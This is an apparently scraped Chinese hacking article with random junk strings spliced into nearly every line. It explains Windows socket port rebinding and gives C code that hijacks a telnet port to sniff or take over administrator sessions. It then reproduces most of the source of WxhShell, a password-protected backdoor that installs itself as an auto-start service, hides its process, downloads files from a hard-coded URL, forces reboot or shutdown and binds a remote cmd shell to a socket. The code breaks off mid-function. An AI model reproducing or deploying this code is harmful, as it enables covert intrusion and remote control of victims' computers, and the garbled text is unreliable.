在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qb#V) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
[N'r3 h #$_<U saddr.sin_family = AF_INET;
M80}3mgP~ _Y}^%eFw saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?z*W8b]' j 8~Gv=(h bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y}eZPG.h ;igEIGR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
J@=!w[v+ Zw3hp,P] 这意味着什么?意味着可以进行如下的攻击:
tyBg7dP F(0pru4u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a,en8+r] #c8" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
C?_t8G./_ &utS\-;G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Pl`Bd0 W$x K^} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
n^g-` d
%F/,c-= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[ni-UNTv @y&h4^)z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Th I $D0)j(v 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_R>s5|_ ?STI8AdO
#include
RXCygPT #include
fSgGQ
D4 #include
0
/D5 #include
IJL^dXCu DWORD WINAPI ClientThread(LPVOID lpParam);
&q"uy:Rd int main()
7KYF16A4 {
uWM4O@Qn)d WORD wVersionRequested;
v=8~ZDY DWORD ret;
x_>"Rnv:K WSADATA wsaData;
see'!CjVo2 BOOL val;
O V0cr SOCKADDR_IN saddr;
dNS9<8JX SOCKADDR_IN scaddr;
R[2[[M int err;
'Gm!Jblo@ SOCKET s;
kiBOyC!r6 SOCKET sc;
r' 97\| int caddsize;
Z=1,<ydKV HANDLE mt;
r&LCoe'\{i DWORD tid;
3l41r[\ wVersionRequested = MAKEWORD( 2, 2 );
SO8|]Fk err = WSAStartup( wVersionRequested, &wsaData );
*o2_EqXL* if ( err != 0 ) {
-f
'q printf("error!WSAStartup failed!\n");
8k*k return -1;
]c~ rPi }
]J0Y^dM saddr.sin_family = AF_INET;
^O,6(@> MXu+I,y* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E(L^hZMc $$)<(MP3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
.WPuQZ! saddr.sin_port = htons(23);
v@<lEG#$"| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y
}g6IK} {
P89Dg/P printf("error!socket failed!\n");
:W1tIB return -1;
f{oxF?|89 }
hyr5D9d val = TRUE;
bx'B;rZr //SO_REUSEADDR选项就是可以实现端口重绑定的
LXOF{FG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+eVpMD(
l {
3mnL V*aRt printf("error!setsockopt failed!\n");
J>&dWKM3 return -1;
~>wq;T:= }
+O%a:d% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'j=PbA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4'u|L&ow //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.x9nWa YH:W] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
r>D[5B {
!{|yAt9kP ret=GetLastError();
x,@O:e printf("error!bind failed!\n");
%.r5E2' return -1;
DrYoC7 }
kk>0XPk listen(s,2);
".7KEnx while(1)
DNTRLIKa {
8~XI7g'5x caddsize = sizeof(scaddr);
{pi67"mYp //接受连接请求
+HVG5l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wNlV_ if(sc!=INVALID_SOCKET)
[~rk` {
( Nve5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E].a|4sh if(mt==NULL)
6CzvRvA*P {
,J4a~fPf printf("Thread Creat Failed!\n");
-a#AE|` break;
7dL=E"WL }
p>hCh5 }
Fb`7aFIf CloseHandle(mt);
aWi]t'_ }
IBsO closesocket(s);
ob()+p.k K WSACleanup();
OAQ O J' return 0;
-V)5Tr= }
P#'DG W&W0 DWORD WINAPI ClientThread(LPVOID lpParam)
\6PIw-) {
g\mrRZ/? SOCKET ss = (SOCKET)lpParam;
SGT-B. SOCKET sc;
& ;x1Rx unsigned char buf[4096];
&|,qsDK( SOCKADDR_IN saddr;
OEq e^``! long num;
4~J1pcBno% DWORD val;
/$N#_Xblr DWORD ret;
&-.eu //如果是隐藏端口应用的话,可以在此处加一些判断
97=YFK~* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1Yx[,GyC>& saddr.sin_family = AF_INET;
ry<}DK<u saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ik2szXh[J saddr.sin_port = htons(23);
^i,0n}> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F[qIfh4
{
YuZ
printf("error!socket failed!\n");
x#xO { return -1;
?p\II7 }
_-2n3py val = 100;
_|V+["IS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V,%5
hl'& {
<EE+
S#z ret = GetLastError();
4% .2= return -1;
yeh adm\ }
Z.#glmw^=R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G"R>a w {
`x^,k%
:4 ret = GetLastError();
?z36mj"`o return -1;
i /U{dzZ }
Woy[V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
##\ZuJ^- {
+_K;Pj]x printf("error!socket connect failed!\n");
MnsWB[ closesocket(sc);
v-]-wNqT closesocket(ss);
|a~&E@0c return -1;
JqhVD@1{ }
a-A4xL.gm while(1)
761"S@tf$} {
)ejqE6'[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#]hkQo //如果是嗅探内容的话,可以再此处进行内容分析和记录
LfSUY //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
]d;/6R+Vs num = recv(ss,buf,4096,0);
RIpq/^Th if(num>0)
~8 a>D<b send(sc,buf,num,0);
\:^n-D*fX else if(num==0)
aNEy1-/(\ break;
RJm8K,3# num = recv(sc,buf,4096,0);
F nRxc if(num>0)
_ r)hr7 send(ss,buf,num,0);
[ESQD5& else if(num==0)
o sH,(\4_ break;
@ dU3d\!} }
4'e8VI0 closesocket(ss);
ue2nfp closesocket(sc);
u,k8i:JY return 0 ;
m!>'}z }
bWzc=03 yxq!.72 h | ==========================================================
R$3+ 01j| y#W8] <dS" 下边附上一个代码,,WXhSHELL
:fQ*'m, ~./u0E ==========================================================
\crmNH)3 X-WvKH(=w #include "stdafx.h"
s,q!(\{Pv R^C;D2 #include <stdio.h>
8+b3u05 #include <string.h>
R')GQ.yYq #include <windows.h>
+*~3"ww< #include <winsock2.h>
~x\Q\Cxp #include <winsvc.h>
@WE$%dr #include <urlmon.h>
mM%BO(X{= K\r=MkA.> #pragma comment (lib, "Ws2_32.lib")
g9Qxf% } #pragma comment (lib, "urlmon.lib")
im\Ws./ s'w0pZqj #define MAX_USER 100 // 最大客户端连接数
7oSuLo= #define BUF_SOCK 200 // sock buffer
oW9rl]+ #define KEY_BUFF 255 // 输入 buffer
gVWLY;c 3} QVhBHAw #define REBOOT 0 // 重启
,6)y4=8 L #define SHUTDOWN 1 // 关机
cjpl_}'L: .Cd$=v6 #define DEF_PORT 5000 // 监听端口
HC}C_Q5c91 +\m!#CSA #define REG_LEN 16 // 注册表键长度
eW<hC( #define SVC_LEN 80 // NT服务名长度
Sgy~Z^ Za?&\ // 从dll定义API
L{Zy7O]"d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
? +!?$h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^(B*AE. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
j<5R$^?U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$dUN+9 $5[RR // wxhshell配置信息
6lFs N2 struct WSCFG {
Y'R1\Go- int ws_port; // 监听端口
5jk4k c char ws_passstr[REG_LEN]; // 口令
06O int ws_autoins; // 安装标记, 1=yes 0=no
0\;a:E.c char ws_regname[REG_LEN]; // 注册表键名
&"0[7zgYQz char ws_svcname[REG_LEN]; // 服务名
t0(hc7` char ws_svcdisp[SVC_LEN]; // 服务显示名
,5WDYk- char ws_svcdesc[SVC_LEN]; // 服务描述信息
|e(x< [s5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
L0~O6*bk int ws_downexe; // 下载执行标记, 1=yes 0=no
s2kynQ#a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MeS$+9jV( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2F]MzeW s os& };
ttRH[[E( zW.sXV, // default Wxhshell configuration
CAO{$<M5m struct WSCFG wscfg={DEF_PORT,
MQu6Tm H "xuhuanlingzhe",
vnpX-c 1,
/y@iaptC "Wxhshell",
,B!Qv3bn "Wxhshell",
tam/FzVw "WxhShell Service",
7Kjq1zl; "Wrsky Windows CmdShell Service",
^5F/=TtE G "Please Input Your Password: ",
wtyu"=
1,
e2F7G>q:5 "
http://www.wrsky.com/wxhshell.exe",
sP!qv"u "Wxhshell.exe"
@x4Dt&:" };
E$
rSrT( HB:i0m2fJW // 消息定义模块
!9NAm?Fw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F*H}5yBp_: char *msg_ws_prompt="\n\r? for help\n\r#>";
R~([ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C]cw@:o% char *msg_ws_ext="\n\rExit.";
gd*?kXpt char *msg_ws_end="\n\rQuit.";
WdnP[x9 char *msg_ws_boot="\n\rReboot...";
ozG:f*{T char *msg_ws_poff="\n\rShutdown...";
egvWPht'_ char *msg_ws_down="\n\rSave to ";
9IV WbJ ?i"FdpW char *msg_ws_err="\n\rErr!";
`$HO`d@0*R char *msg_ws_ok="\n\rOK!";
%cL:*D4oz /;1FZ<zU char ExeFile[MAX_PATH];
/0(KKZ) int nUser = 0;
\h4y,sl HANDLE handles[MAX_USER];
*qBZi;1 int OsIsNt;
K<(RVh [OSUARm
v SERVICE_STATUS serviceStatus;
29oEkaX2o SERVICE_STATUS_HANDLE hServiceStatusHandle;
4YC`dpO' ?0X.Ith^. // 函数声明
9OBPFF int Install(void);
&rubA int Uninstall(void);
d8I/7
;F X int DownloadFile(char *sURL, SOCKET wsh);
}z#8vE; int Boot(int flag);
5[k35c{ void HideProc(void);
\;<Y/sg int GetOsVer(void);
DSp@ int Wxhshell(SOCKET wsl);
xl$ Qw' void TalkWithClient(void *cs);
u1l#k60 int CmdShell(SOCKET sock);
511q\w M int StartFromService(void);
Heu@{t.[!D int StartWxhshell(LPSTR lpCmdLine);
xh$[E&2u ~c"c9s+o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
y-mmc}B>N VOID WINAPI NTServiceHandler( DWORD fdwControl );
ej `$-hBBV t~Ax#H // 数据结构和表定义
&XP 0 SERVICE_TABLE_ENTRY DispatchTable[] =
kCV OeXv {
DQd&:J@? {wscfg.ws_svcname, NTServiceMain},
5l#)tX.by {NULL, NULL}
ewY X \ };
|rQ;|+. "fdG5|NJe // 自我安装
nYHk~<a int Install(void)
J4<*KL~a {
Nnw iH char svExeFile[MAX_PATH];
;N|6C+y HKEY key;
-|5&3HVz strcpy(svExeFile,ExeFile);
J$oJ aryr // 如果是win9x系统,修改注册表设为自启动
ak zb<aT if(!OsIsNt) {
]3G2mY;`"% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*zcH3a,9"x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`/O_6PQ} RegCloseKey(key);
NbdaP{{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lq~n*uwO}t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_kSus RegCloseKey(key);
OA;L^d return 0;
=0Mmxd&o=M }
%Vq@WF }
Nf1l{N }
{sLh=iK else {
he,T\}; \; ]~K6= // 如果是NT以上系统,安装为系统服务
JG `QJ% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PuWF:'w r if (schSCManager!=0)
j,Y=GjfGM {
W$W7U|Z9y+ SC_HANDLE schService = CreateService
tF4"28"h (
z|Xl%8 schSCManager,
LS`Gg7]S wscfg.ws_svcname,
=B\?( wscfg.ws_svcdisp,
hn-S$3')` SERVICE_ALL_ACCESS,
;rX4${h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X!m/I
i$q SERVICE_AUTO_START,
ty ~U~ SERVICE_ERROR_NORMAL,
^t"\PpmK<d svExeFile,
AbB%osz}Ed NULL,
@m6E*2Gg NULL,
+.=a
R<Q NULL,
kci H NULL,
F n\)*; ^ NULL
2neiUNT );
xGqZ8v`v if (schService!=0)
Lt)t}0 {
vCJjZ%eO%D CloseServiceHandle(schService);
P)3e^~+A CloseServiceHandle(schSCManager);
BkcOsJIz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
nxG vh4'i8 strcat(svExeFile,wscfg.ws_svcname);
jGt[[s
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p&7>G-. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xk,E
A U RegCloseKey(key);
MxY CMe4S[ return 0;
qz 'a.]{= }
Wl1%BN0> }
2axH8ONMu CloseServiceHandle(schSCManager);
c7'Pzb)' }
qhogcAvE }
9T\:ID=h SpkD return 1;
9%x[z%06 }
\ZA%"F){ pJqayzV // 自我卸载
)|:|.`H int Uninstall(void)
1\1o65en {
(+_Amw!W HKEY key;
2a{eJ89f >q`G?9d2 if(!OsIsNt) {
%P?W^mI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`H\^#Zu
RegDeleteValue(key,wscfg.ws_regname);
A&z RegCloseKey(key);
:
"UBeo<Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Cu}Rq!9i RegDeleteValue(key,wscfg.ws_regname);
`.n[G~*w~1 RegCloseKey(key);
SQ@@79A return 0;
]LD@I;(_ }
RAe:$Iv$!v }
PS>k67sI }
ex-`+cF else {
2D
"mq~V ^uYxeQY[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~q<UE\H if (schSCManager!=0)
TygRG+G- {
>8ePx,+! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
KNV$9&Z if (schService!=0)
`A#r6+ {
D.RHvo~6 if(DeleteService(schService)!=0) {
e%8K
A#DX CloseServiceHandle(schService);
3o6N&bQ b CloseServiceHandle(schSCManager);
Qq5)|m return 0;
]R0^
}sI }
f F?=W CloseServiceHandle(schService);
7[Y<5T] }
K2&pTA~OR CloseServiceHandle(schSCManager);
^NP" m }
|g@1qXO3 }
MLUq"f~ N hF6EOCY6D return 1;
#bnFR }
WO]dWO6Mm 3dXyKi // 从指定url下载文件
Hq=RtW2 int DownloadFile(char *sURL, SOCKET wsh)
oSxHTbp? {
i2EB.Zlv HRESULT hr;
c" yf>0 char seps[]= "/";
KVJiCdg- char *token;
DI+kO(S char *file;
-BR&b2 char myURL[MAX_PATH];
Ucv-}oa-? char myFILE[MAX_PATH];
HZR~r:_
i 9hcZbM] strcpy(myURL,sURL);
uRJLSt9m token=strtok(myURL,seps);
f ^z7K while(token!=NULL)
(ZDRjBth[ {
xZBmQ:s',S file=token;
PZQ}G*p3 token=strtok(NULL,seps);
C5F}*]E[y }
hb`(d_= 7F $BCqz! 4K GetCurrentDirectory(MAX_PATH,myFILE);
Si!W@Jm strcat(myFILE, "\\");
w+ bMDp strcat(myFILE, file);
]kR 93 send(wsh,myFILE,strlen(myFILE),0);
U1dz:OG> send(wsh,"...",3,0);
74QWGw`, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n
,`!yw if(hr==S_OK)
iz>a0~(K return 0;
pS9CtQqvgy else
Ju+r@/y% return 1;
v]c1|?9p' a(!:a+9WOP }
A:>G: X5t jPhOk>m // 系统电源模块
9J*m!-hOY int Boot(int flag)
P$\(Bd\76 {
[K,&s8N5 HANDLE hToken;
6dV92: TOKEN_PRIVILEGES tkp;
Wk`G+VR+ taw
#r if(OsIsNt) {
-49OE*uF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_<&IpT{w+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KD=T04v tkp.PrivilegeCount = 1;
J %URg=r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8&B{bS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
sJ25<2/ if(flag==REBOOT) {
9w (QM-u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Rax}r return 0;
3%>"|Ye}A }
^<7)w2ns else {
{ 6*h';~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7'd_]e-. return 0;
$U3s:VQ ' }
Xfk&{zO-j }
gtJUQu p2 else {
&H`yDrg6U if(flag==REBOOT) {
yD(0:g# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=DUsQN! return 0;
0~Z2$`( }
=D<46T=(RB else {
1vu=2|QN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
lhKd<Y" return 0;
Y<I/y }
t
:sKvJ }
hBOI:4u[ p~En~?< return 1;
3T%WfS+ }
aa8WRf /&Khk # // win9x进程隐藏模块
8tY], void HideProc(void)
rer=o S {
AS'a'x>8>, 79z(n[^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Xq1n1_Z if ( hKernel != NULL )
vH9/}w2 {
Lr V)}1&5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
P10`X& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}2-{4JIq} FreeLibrary(hKernel);
2>_6b>9] }
X2/`EN\ s+$l.aIO! return;
%HpTQ }
fOF02WP^ 1Hp0,R} // 获取操作系统版本
<{JHFU`^ int GetOsVer(void)
A !x"* {
ym{?vY
h OSVERSIONINFO winfo;
Gmf.lHr$% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y/'2WO[ GetVersionEx(&winfo);
It!PP1$
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
>x eKO2o return 1;
p3 qlVE else
4hr;k0sD return 0;
H_3S#. }
.TSj8, {;=I69X // 客户端句柄模块
AM#VRRTU int Wxhshell(SOCKET wsl)
3W5|Y@0 {
0bVtku K;G SOCKET wsh;
FDkRfh K struct sockaddr_in client;
nxA Y]Q DWORD myID;
Z;P[)q k^:$ETW2
D while(nUser<MAX_USER)
j]6Z*AxQ {
&Ru|L.G` int nSize=sizeof(client);
4t|ril``] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Eo!1
WRruF if(wsh==INVALID_SOCKET) return 1;
tK`sVsm> XTUxMdN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.R#p<"$I if(handles[nUser]==0)
j*Ta?'* closesocket(wsh);
(dLt$<F else
c 5+oP j nUser++;
pej/9{*xg( }
b54<1\& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-SGR) HpC|dtro return 0;
Ks(+['*S }
. Zrt/; pLE|#58I // 关闭 socket
2G=Bav\n+ void CloseIt(SOCKET wsh)
NIY0f@1z- {
)O#]Wvr closesocket(wsh);
4L 85~l nUser--;
mVcpYyD|k ExitThread(0);
5wmH3g#0 }
S#8wnHq Xai , // 客户端请求句柄
CS)&A4`8 void TalkWithClient(void *cs)
>k,bHGj? {
#I'W[\l~+ `(vgBz`e[ SOCKET wsh=(SOCKET)cs;
v7&e,:r2E@ char pwd[SVC_LEN];
|"8Az0[! char cmd[KEY_BUFF];
dE7 kd=.o char chr[1];
[rC-3sGar int i,j;
rRRiqmq 3k`"%R.H while (nUser < MAX_USER) {
idMb}fw> 17I{_C if(wscfg.ws_passstr) {
@Y 1iEL%\y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R
rs?I,NV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cKEf- &~ //ZeroMemory(pwd,KEY_BUFF);
B.-5$4*s i=0;
9<I@}w while(i<SVC_LEN) {
>9'G>~P~I= >eQ;\j // 设置超时
(YVl5}V fd_set FdRead;
G"T)+!6t struct timeval TimeOut;
TRL4r_ FD_ZERO(&FdRead);
`C%,Nj FD_SET(wsh,&FdRead);
: ~"^st_[! TimeOut.tv_sec=8;
=QHW>v TimeOut.tv_usec=0;
<W2}^q7F^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}L^Yoq] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>"q0"zrN, ^hv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
odMjxWY pwd
=chr[0]; j#S>8:
G
if(chr[0]==0xd || chr[0]==0xa) { ,UopGlA
,
pwd=0; a,b;H(em
break; i[`nu#n/
} Q6@}t&k4C
i++; =G]} L<
} GMU.Kt
$v#Q'?jE
// 如果是非法用户,关闭 socket JR|yg=E
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D|/Azy.[
} A)Wp W M
"#z4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -l+&Bkf
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VI,z7
\
C18pK8-
while(1) { y:WRpCZoa
7}(wEC
ZeroMemory(cmd,KEY_BUFF); lEIX,amwa
W"? |O Q'
// 自动支持客户端 telnet标准 #Z;ziM:
j=0; A8&yB;T$y
while(j<KEY_BUFF) { K++pH~o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -|B?pR
cmd[j]=chr[0]; {:xINQ=}D
if(chr[0]==0xa || chr[0]==0xd) { }`{>]2
cmd[j]=0; ;X<#y2`
break; 0kS[`a(}J
} M;OY+|uA
j++; Vh$~]>t:f
} :BKY#uH~
+8Yt91
// 下载文件 :P#
if(strstr(cmd,"http://")) { -BfZ P5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $'btfo4H
if(DownloadFile(cmd,wsh)) LbOjKM^-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &>\E
>mJ
else `Jhu&MWg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~z#Faed=a
} A^
$9[_
else { $j0]+vT
QFU;\H/
switch(cmd[0]) { m:5 *:Ii.
I1^0RB{~
// 帮助 S1(. AI~
case '?': { ]b4*`}\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ftq&<8
break; y;<^[
} XmXp0b7
// 安装 ,u^i0uOg
case 'i': { !31v@v:)
if(Install()) H>AQlO+ J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CT+pkNC
else jJdw\`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7].tt
break; a97A{7I&
} \g< M\3f
// 卸载 PeEf=3
case 'r': { :]iV*zo_
if(Uninstall()) *i|O!h1St
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NlXHOUw)u
else *2N$l>ql:k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \gaGTc2&
break; Ug*:o d
} Os'
7h
// 显示 wxhshell 所在路径 P9;
=O$s
case 'p': { Lo
_5r T"
char svExeFile[MAX_PATH]; EpSVHD:*
strcpy(svExeFile,"\n\r"); e#JJd=
strcat(svExeFile,ExeFile); /*!K4)$-*2
send(wsh,svExeFile,strlen(svExeFile),0); w^e<p~i!^E
break; 9Slx.9f
} Bm2"} =
// 重启 = zW}vm }
case 'b': { !:t}8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /> c F
if(Boot(REBOOT)) 8X!^ 2B}J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'hfQ4EN
else { Q4\EI=4P]
closesocket(wsh); QyQ&xgS
ExitThread(0); <iVn!P
} fiqeXE?E
break; S{gB~W
} ax0RtqtR&
// 关机 :pj#t$:!
case 'd': { ^_
L'I%%[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^M6xRkI
if(Boot(SHUTDOWN)) NBZFIFO<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:b0fKn
else { H(9%SP@[c
closesocket(wsh); GhpVi<FL
ExitThread(0); / =&HunaxI
} f{MXH&d 1\
break; QxG:NN;jW
} }wRHNBaEB
// 获取shell %Ez=
case 's': { Q$Qs$
CmdShell(wsh); 'D(| NYY
closesocket(wsh); IoWh&(+KdH
ExitThread(0); `wz@l:e
break; kaf4GME]
} xU+c?OLi
// 退出 <|9s {z
case 'x': { `6;%HbP$W+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :"5'l>la
CloseIt(wsh); INqD(EG
break; KR4X&d6
} B|U*2|e
// 离开 k"X<gA
case 'q': { T {Q]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |pxM8g1w
closesocket(wsh); '*H&s
WSACleanup(); \g&P5
exit(1); Hh`x>{,|S
break; `7$0H]*6
} ~x;1&\'k
} w&<-pIa`
} Xr'Y[E[
AX3iB1):K
// 提示信息 !\w@b`Iv8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I?c "\Fe
} kSj,Pl\NC
} <yzgZXxIaS
gE2k]`[j]
return; YLs%u=e($
} :4RD.l
N T+%u-
// shell模块句柄 +|(-7"
int CmdShell(SOCKET sock) OXc!^2^
{ w/+e
STARTUPINFO si; 1}nrVn[B9
ZeroMemory(&si,sizeof(si)); ~k>H4hV3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $j=c;+W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KqC8ozup
PROCESS_INFORMATION ProcessInfo; '|
(#^jAj
char cmdline[]="cmd"; 8U}BSM_<2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MNd8#01q`
return 0; 2\Bt~;EIx
} bV c"'RQ
? t<yk(q
// 自身启动模式 d$.t0-lC
int StartFromService(void) ;s{k32e
{ ~nO]R
typedef struct %6Wv-:LY
{ <j
CD^
DWORD ExitStatus; <NRW^#g<x
DWORD PebBaseAddress; P X/{
DWORD AffinityMask; 5WJof`M
DWORD BasePriority; +b@KS"3h
ULONG UniqueProcessId; !Ab4'4f
ULONG InheritedFromUniqueProcessId; esE5#Yq4.k
